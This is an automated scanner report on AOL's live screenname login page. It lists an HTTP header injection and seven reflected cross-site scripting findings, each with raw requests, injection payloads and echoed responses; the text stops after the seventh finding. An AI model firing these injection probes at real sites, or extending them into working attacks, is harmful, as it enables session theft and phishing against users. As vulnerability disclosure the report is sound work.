XSS, Cross Site Scripting, HTTP Header Injection, CWE-113, CWE-79, my.screenname.aol.com

HTTP Header Injection, XSS, CWE-113, CWE-79, CAPEC-86, my.screenname.aol.com

Report generated by XSS.CX at Tue Mar 08 07:48:35 CST 2011.


The DORK Report

Loading

1. HTTP header injection

2. Cross-site scripting (reflected)

2.1. https://my.screenname.aol.com/_cqr/login/login.psp [authLev parameter]

2.2. https://my.screenname.aol.com/_cqr/login/login.psp [authLev parameter]

2.3. https://my.screenname.aol.com/_cqr/login/login.psp [authLev parameter]

2.4. https://my.screenname.aol.com/_cqr/login/login.psp [name of an arbitrarily supplied request parameter]

2.5. https://my.screenname.aol.com/_cqr/login/login.psp [seamless parameter]

2.6. https://my.screenname.aol.com/_cqr/login/login.psp [seamless parameter]

2.7. https://my.screenname.aol.com/_cqr/login/login.psp [siteState parameter]

3. XML injection

3.1. http://my.screenname.aol.com/_cqr/login/login.psp [REST URL parameter 1]

3.2. https://my.screenname.aol.com/badbrowser.psp [REST URL parameter 1]

4. Password field with autocomplete enabled

5. SSL cookie without secure flag set

5.1. https://my.screenname.aol.com/_cqr/login/login.psp

5.2. https://my.screenname.aol.com/badbrowser.psp

6. Cross-domain Referer leakage

7. Cross-domain script include

7.1. https://my.screenname.aol.com/_cqr/login/login.psp

7.2. https://my.screenname.aol.com/badbrowser.psp

8. Cookie without HttpOnly flag set

8.1. http://my.screenname.aol.com/_cqr/login/checkStatus.psp

8.2. https://my.screenname.aol.com/_cqr/login/login.psp

8.3. https://my.screenname.aol.com/badbrowser.psp

9. Content type incorrectly stated



1. HTTP header injection  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://my.screenname.aol.com
Path:   /_cqr/login/login.psp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload a352b%0d%0a72680519812 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

Request

GET /_cqr/login/login.psp?a352b%0d%0a72680519812=1 HTTP/1.1
Host: my.screenname.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SNS_LDC=1&-&-&1299520500&0&1299520397&0; s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]; SNS_SC=diAxLjAga2lkIDEgeWxTODAzelJrT1NSZHNwNVVEd1RXUlhlbElNPQ%3D%3D-d139qXkm6sS1jxx2m3cvJwZMNhZC3y8LmawkmdajtdKn8m%2FD%2BFO6j3fTiw4QeLkNS0oS2A3%2BkhsL%2Bj1nXFaMvJlp4RxQI%2BS4J%2BTYAb82e7OzoE8e30Q2AfYIhFQzMVLM;

Response

HTTP/1.1 302 Moved Temporarily
Date: Tue, 08 Mar 2011 12:10:15 GMT
Pragma: No-cache
Cache-Control: no-cache,no-store,max-age=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: https://my.screenname.aol.com/_cqr/login/login.psp?a352b
72680519812
=1
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 0
P3P: CP="PHY ONL PRE STA CURi OUR IND"
Keep-Alive: timeout=15, max=380
Connection: Keep-Alive


2. Cross-site scripting (reflected)  previous  next
There are 7 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. https://my.screenname.aol.com/_cqr/login/login.psp [authLev parameter]  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://my.screenname.aol.com
Path:   /_cqr/login/login.psp

Issue detail

The value of the authLev request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fdc6d</script><a>84b82239bf was submitted in the authLev parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_cqr/login/login.psp?seamless=novl&locale=us&offerId=newmail-en-us-v2&siteState=ver%3A4%7Crt%3ASTANDARD%7Cat%3ASNS%7Cld%3Awebmail.aol.com%7Cuv%3AAOL%7Clc%3Aen-us%7Cmt%3AAOL%7Csnt%3AScreenName%7Csid%3Ae0ad8f5f-07ad-44e6-b7fe-d27ce1fbdfd2&authLev=0fdc6d</script><a>84b82239bf&sitedomain=sns.webmail.aol.com&lang=en HTTP/1.1
Host: my.screenname.aol.com
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]

Response

HTTP/1.1 200 OK
Date: Mon, 07 Mar 2011 17:54:27 GMT
Pragma: No-cache
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: SNS_SC=diAxLjAga2lkIDEgQnRWQmYwM1VIcXVwa3hKbVBtQTUyRm0vUUw0PQ%3D%3D-laBp9HbZ%2FjKZ7FvsNk87Nm%2Foyap%2FeoSe%2FR4Oc5kmyOQaVvlFc5wGHIh2OdQD3kvPNUnOVUYxfIQFyC154c7%2Bjy9MoPWe3jTco9m2%2FCb%2Bkn4vvHIfn2lY5%2Fz3jnGOBpmP; Domain=my.screenname.aol.com; Path=/
Set-Cookie: SNS_LDC=1&-&-&1299520467&1&1299520467&0; Domain=my.screenname.aol.com; Expires=Wed, 06-Apr-2011 17:54:27 GMT; Path=/
Content-Type: text/html;charset=utf-8
Content-Language: en-US
P3P: CP="PHY ONL PRE STA CURi OUR IND"
ntCoent-Length: 18847
Keep-Alive: timeout=15, max=498
Connection: Keep-Alive
Content-Length: 18847


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>
<title>AOL Mail: Simple,
...[SNIP]...
offerId=newmail-en-us-v2&siteState=ver%3A4%7Crt%3ASTANDARD%7Cat%3ASNS%7Cld%3Awebmail.aol.com%7Cuv%3AAOL%7Clc%3Aen-us%7Cmt%3AAOL%7Csnt%3AScreenName%7Csid%3Ae0ad8f5f-07ad-44e6-b7fe-d27ce1fbdfd2&authLev=0fdc6d</script><a>84b82239bf&sitedomain=sns.webmail.aol.com&lang=en');
</script>
...[SNIP]...

2.2. https://my.screenname.aol.com/_cqr/login/login.psp [authLev parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://my.screenname.aol.com
Path:   /_cqr/login/login.psp

Issue detail

The value of the authLev request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 74b83"><a%20b%3dc>3da7860cf5a was submitted in the authLev parameter. This input was echoed as 74b83"><a b=c>3da7860cf5a in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /_cqr/login/login.psp?seamless=novl&locale=us&offerId=newmail-en-us-v2&siteState=ver%3A4%7Crt%3ASTANDARD%7Cat%3ASNS%7Cld%3Awebmail.aol.com%7Cuv%3AAOL%7Clc%3Aen-us%7Cmt%3AAOL%7Csnt%3AScreenName%7Csid%3Ae0ad8f5f-07ad-44e6-b7fe-d27ce1fbdfd2&authLev=074b83"><a%20b%3dc>3da7860cf5a&sitedomain=sns.webmail.aol.com&lang=en HTTP/1.1
Host: my.screenname.aol.com
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]

Response

HTTP/1.1 200 OK
Date: Mon, 07 Mar 2011 17:54:13 GMT
Pragma: No-cache
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: SNS_SC=diAxLjAga2lkIDEgYkNCejRNL2FCVnJvdXVqNHNTQm82RHFaYmo4PQ%3D%3D-AzWmxzB9V%2BWWB6jcJP6gG6bS0XuD8FfXatyidM5xrHLOInUtO4MuD7jsx8CFiIWqyFOGrq1O5JXE2lY0DyA0M%2B%2BDh%2Be%2BR%2Bv1IhRhxCxOETu7P9VZ5EKP6%2FviSP0TDiQO; Domain=my.screenname.aol.com; Path=/
Set-Cookie: SNS_LDC=1&-&-&1299520453&1&1299520453&0; Domain=my.screenname.aol.com; Expires=Wed, 06-Apr-2011 17:54:13 GMT; Path=/
Content-Type: text/html;charset=utf-8
Content-Language: en-US
P3P: CP="PHY ONL PRE STA CURi OUR IND"
ntCoent-Length: 18845
Keep-Alive: timeout=15, max=500
Connection: Keep-Alive
Content-Length: 18845


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>
<title>AOL Mail: Simple,
...[SNIP]...
<a href="https://account.login.aol.com/opr/_cqr/opr/opr.psp?sitedomain=sns.webmail.aol.com&authLev=074b83"><a b=c>3da7860cf5a&siteState=ver%3A4%7Crt%3ASTANDARD%7Cat%3ASNS%7Cld%3Awebmail.aol.com%7Cuv%3AAOL%7Clc%3Aen-us%7Cmt%3AAOL%7Csnt%3AScreenName%7Csid%3Ae0ad8f5f-07ad-44e6-b7fe-d27ce1fbdfd2&lang=en&locale=us&offerId=newmail
...[SNIP]...

2.3. https://my.screenname.aol.com/_cqr/login/login.psp [authLev parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://my.screenname.aol.com
Path:   /_cqr/login/login.psp

Issue detail

The value of the authLev request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 254f8"%3b34212e3f475 was submitted in the authLev parameter. This input was echoed as 254f8";34212e3f475 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_cqr/login/login.psp?seamless=novl&locale=us&offerId=newmail-en-us-v2&siteState=ver%3A4%7Crt%3ASTANDARD%7Cat%3ASNS%7Cld%3Awebmail.aol.com%7Cuv%3AAOL%7Clc%3Aen-us%7Cmt%3AAOL%7Csnt%3AScreenName%7Csid%3Ae0ad8f5f-07ad-44e6-b7fe-d27ce1fbdfd2&authLev=0254f8"%3b34212e3f475&sitedomain=sns.webmail.aol.com&lang=en HTTP/1.1
Host: my.screenname.aol.com
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]

Response

HTTP/1.1 200 OK
Date: Mon, 07 Mar 2011 17:54:17 GMT
Pragma: No-cache
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: SNS_SC=diAxLjAga2lkIDEgSzAzYWgxajhJcFJVeDc2ZE5kVGttTVd6K0k4PQ%3D%3D-eK7vUtwS7l4aA8JtmvszpKIZnOS5wgNC79DIi5Yax8R2dkl7xtvDE1O1a3qzjTg2uoCwUbJIIOa7N%2FDXZjM9h89v%2BqeeR9SERAbP%2FDFabxdskoSepFTI%2BC9JfGXBq1Td; Domain=my.screenname.aol.com; Path=/
Set-Cookie: SNS_LDC=1&-&-&1299520457&1&1299520457&0; Domain=my.screenname.aol.com; Expires=Wed, 06-Apr-2011 17:54:17 GMT; Path=/
Content-Type: text/html;charset=utf-8
Content-Language: en-US
P3P: CP="PHY ONL PRE STA CURi OUR IND"
ntCoent-Length: 18822
Keep-Alive: timeout=15, max=499
Connection: Keep-Alive
Content-Length: 18822


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>
<title>AOL Mail: Simple,
...[SNIP]...
pfxID="sso";
s_265.pageName="sso : login";
s_265.channel="us.snssignin";
s_265.prop1='ssologin';
s_265.prop12="/snsUiDriver.jsp";
s_265.prop16="sns.webmail.aol.com";
s_265.prop17="std";
s_265.prop18="0254f8";34212e3f475";
s_265.prop19="wa3";
s_265.prop20="en-us";
s_265.prop21="AOLPortal";
s_265.prop22=".aol.com";
s_265.prop23="newmail-en-us-v2";
s_265.mmxgo=true;
var s_code=s_265.t();
if(s_code)document.write(s_code)
...[SNIP]...

2.4. https://my.screenname.aol.com/_cqr/login/login.psp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://my.screenname.aol.com
Path:   /_cqr/login/login.psp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c45ed</script><a>0d4983fa072 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_cqr/login/login.psp?seamless=novl&locale=us&offerId=newmail-en-us-v2&siteState=ver%3A4%7Crt%3ASTANDARD%7Cat%3ASNS%7Cld%3Awebmail.aol.com%7Cuv%3AAOL%7Clc%3Aen-us%7Cmt%3AAOL%7Csnt%3AScreenName%7Csid%3Ae0ad8f5f-07ad-44e6-b7fe-d27ce1fbdfd2&authLev=0&sitedomain=sns.webmail.aol.com&lang=en&c45ed</script><a>0d4983fa072=1 HTTP/1.1
Host: my.screenname.aol.com
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]

Response

HTTP/1.1 200 OK
Date: Mon, 07 Mar 2011 17:54:56 GMT
Pragma: No-cache
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: SNS_SC=diAxLjAga2lkIDEgY2VUYVhkazFHdUQzcittZEM1emZNaHZOcnJnPQ%3D%3D-0UDO0gpE0EBOYj%2BZUsq2%2F4G0NuucueZ8vKy54x%2B6CcWTv3a6yxxYqpjR2J%2FB02N13JtaoPHO6ZEvmNgHQG%2BjzjstRznhb0sGKgvhlSjzqkhTRNw5qFKLWwnR2Tq2AbrA; Domain=my.screenname.aol.com; Path=/
Set-Cookie: SNS_LDC=1&-&-&1299520496&1&1299520496&0; Domain=my.screenname.aol.com; Expires=Wed, 06-Apr-2011 17:54:56 GMT; Path=/
Content-Type: text/html;charset=utf-8
Content-Language: en-US
P3P: CP="PHY ONL PRE STA CURi OUR IND"
ntCoent-Length: 18891
Keep-Alive: timeout=15, max=500
Connection: Keep-Alive
Content-Length: 18891


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>
<title>AOL Mail: Simple,
...[SNIP]...
A4%7Crt%3ASTANDARD%7Cat%3ASNS%7Cld%3Awebmail.aol.com%7Cuv%3AAOL%7Clc%3Aen-us%7Cmt%3AAOL%7Csnt%3AScreenName%7Csid%3Ae0ad8f5f-07ad-44e6-b7fe-d27ce1fbdfd2&authLev=0&sitedomain=sns.webmail.aol.com&lang=en&c45ed</script><a>0d4983fa072=1');
</script>
...[SNIP]...

2.5. https://my.screenname.aol.com/_cqr/login/login.psp [seamless parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://my.screenname.aol.com
Path:   /_cqr/login/login.psp

Issue detail

The value of the seamless request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c0eb"><a%20b%3dc>86e666ce31e was submitted in the seamless parameter. This input was echoed as 1c0eb"><a b=c>86e666ce31e in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /_cqr/login/login.psp?seamless=novl1c0eb"><a%20b%3dc>86e666ce31e&locale=us&offerId=newmail-en-us-v2&siteState=ver%3A4%7Crt%3ASTANDARD%7Cat%3ASNS%7Cld%3Awebmail.aol.com%7Cuv%3AAOL%7Clc%3Aen-us%7Cmt%3AAOL%7Csnt%3AScreenName%7Csid%3Ae0ad8f5f-07ad-44e6-b7fe-d27ce1fbdfd2&authLev=0&sitedomain=sns.webmail.aol.com&lang=en HTTP/1.1
Host: my.screenname.aol.com
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]

Response

HTTP/1.1 200 OK
Date: Mon, 07 Mar 2011 17:52:34 GMT
Pragma: No-cache
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: SNS_SC=diAxLjAga2lkIDEgRFcvSVlraVBBT1Fac1VaNmxueVIwT0tDbkp3PQ%3D%3D-ACYkrZLhhEqvwQ%2FjetDij%2FiQ23sciP9mwCTzi6WI04iQtoJwT6p%2F599EGn96skNhDLHifxk1d5J2Fn5SVwNI867uzy23XRI%2BeRImHlcGDzzhjJDjFOHvaebNCPzDebXL; Domain=my.screenname.aol.com; Path=/
Set-Cookie: SNS_LDC=1&-&-&1299520354&1&1299520354&0; Domain=my.screenname.aol.com; Expires=Wed, 06-Apr-2011 17:52:34 GMT; Path=/
Content-Type: text/html;charset=utf-8
Content-Language: en-US
P3P: CP="PHY ONL PRE STA CURi OUR IND"
ntCoent-Length: 18952
Keep-Alive: timeout=15, max=499
Connection: Keep-Alive
Content-Length: 18952


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>
<title>AOL Mail: Simple,
...[SNIP]...
%3ASTANDARD%7Cat%3ASNS%7Cld%3Awebmail.aol.com%7Cuv%3AAOL%7Clc%3Aen-us%7Cmt%3AAOL%7Csnt%3AScreenName%7Csid%3Ae0ad8f5f-07ad-44e6-b7fe-d27ce1fbdfd2&lang=en&locale=us&offerId=newmail-en-us-v2&seamless=novl1c0eb"><a b=c>86e666ce31e" id="forgotpwd" target="_top" class="tinytext" tabindex="4" >
...[SNIP]...

2.6. https://my.screenname.aol.com/_cqr/login/login.psp [seamless parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://my.screenname.aol.com
Path:   /_cqr/login/login.psp

Issue detail

The value of the seamless request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b6c8e</script><a>7bf30a812e6 was submitted in the seamless parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_cqr/login/login.psp?seamless=novlb6c8e</script><a>7bf30a812e6&locale=us&offerId=newmail-en-us-v2&siteState=ver%3A4%7Crt%3ASTANDARD%7Cat%3ASNS%7Cld%3Awebmail.aol.com%7Cuv%3AAOL%7Clc%3Aen-us%7Cmt%3AAOL%7Csnt%3AScreenName%7Csid%3Ae0ad8f5f-07ad-44e6-b7fe-d27ce1fbdfd2&authLev=0&sitedomain=sns.webmail.aol.com&lang=en HTTP/1.1
Host: my.screenname.aol.com
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]

Response

HTTP/1.1 200 OK
Date: Mon, 07 Mar 2011 17:52:47 GMT
Pragma: No-cache
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: SNS_SC=diAxLjAga2lkIDEgV2craUFCZ1g5U0hLdzNhenFJbnNaUFhNODh3PQ%3D%3D-F%2FtsSkliH8fEgHxyM%2BHpLMzlp%2F1eadt6XiY99Yoi20quLmJAStI%2BOdQS9FEyDfUPa7Pwda3JkJAC8xRcGxybllo78vc1zaGeKWd99KOhYzCbM4rP2Kq4rXuyNSAVU5DE; Domain=my.screenname.aol.com; Path=/
Set-Cookie: SNS_LDC=1&-&-&1299520367&1&1299520367&0; Domain=my.screenname.aol.com; Expires=Wed, 06-Apr-2011 17:52:47 GMT; Path=/
Content-Type: text/html;charset=utf-8
Content-Language: en-US
P3P: CP="PHY ONL PRE STA CURi OUR IND"
ntCoent-Length: 18956
Keep-Alive: timeout=15, max=500
Connection: Keep-Alive
Content-Length: 18956


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>
<title>AOL Mail: Simple,
...[SNIP]...
<script language="javascript" type="text/javascript">
prereqchecks('/badbrowser.psp?source=login&seamless=novlb6c8e</script><a>7bf30a812e6&locale=us&offerId=newmail-en-us-v2&siteState=ver%3A4%7Crt%3ASTANDARD%7Cat%3ASNS%7Cld%3Awebmail.aol.com%7Cuv%3AAOL%7Clc%3Aen-us%7Cmt%3AAOL%7Csnt%3AScreenName%7Csid%3Ae0ad8f5f-07ad-44e6-b7fe-d27ce1fbdfd
...[SNIP]...

2.7. https://my.screenname.aol.com/_cqr/login/login.psp [siteState parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://my.screenname.aol.com
Path:   /_cqr/login/login.psp

Issue detail

The value of the siteState request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b4142</script><a>dc3adabdce0 was submitted in the siteState parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_cqr/login/login.psp?seamless=novl&locale=us&offerId=newmail-en-us-v2&siteState=ver%3A4%7Crt%3ASTANDARD%7Cat%3ASNS%7Cld%3Awebmail.aol.com%7Cuv%3AAOL%7Clc%3Aen-us%7Cmt%3AAOL%7Csnt%3AScreenName%7Csid%3Ae0ad8f5f-07ad-44e6-b7fe-d27ce1fbdfd2b4142</script><a>dc3adabdce0&authLev=0&sitedomain=sns.webmail.aol.com&lang=en HTTP/1.1
Host: my.screenname.aol.com
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]

Response

HTTP/1.1 200 OK
Date: Mon, 07 Mar 2011 17:54:00 GMT
Pragma: No-cache
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: SNS_SC=diAxLjAga2lkIDEgOHlOQXhQMDlZakF6Y3U2YkZHNG1vL0twVXFVPQ%3D%3D-N8ItYVOwXvkpZTCFMnYAWoQnTbUCnIZSzhPtT3fqF0GN6YzaZWNGZaC0GcGlfO0WT9KS9IMVjR6H74UXufHvZujGbO28HsFkwWKoLqAnemNVX9fx%2BM0xoa605WqyVnMO; Domain=my.screenname.aol.com; Path=/
Set-Cookie: SNS_LDC=1&-&-&1299520440&1&1299520440&0; Domain=my.screenname.aol.com; Expires=Wed, 06-Apr-2011 17:54:00 GMT; Path=/
Content-Type: text/html;charset=utf-8
Content-Language: en-US
P3P: CP="PHY ONL PRE STA CURi OUR IND"
ntCoent-Length: 18964
Keep-Alive: timeout=15, max=499
Connection: Keep-Alive
Content-Length: 18964


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>
<title>AOL Mail: Simple,
...[SNIP]...
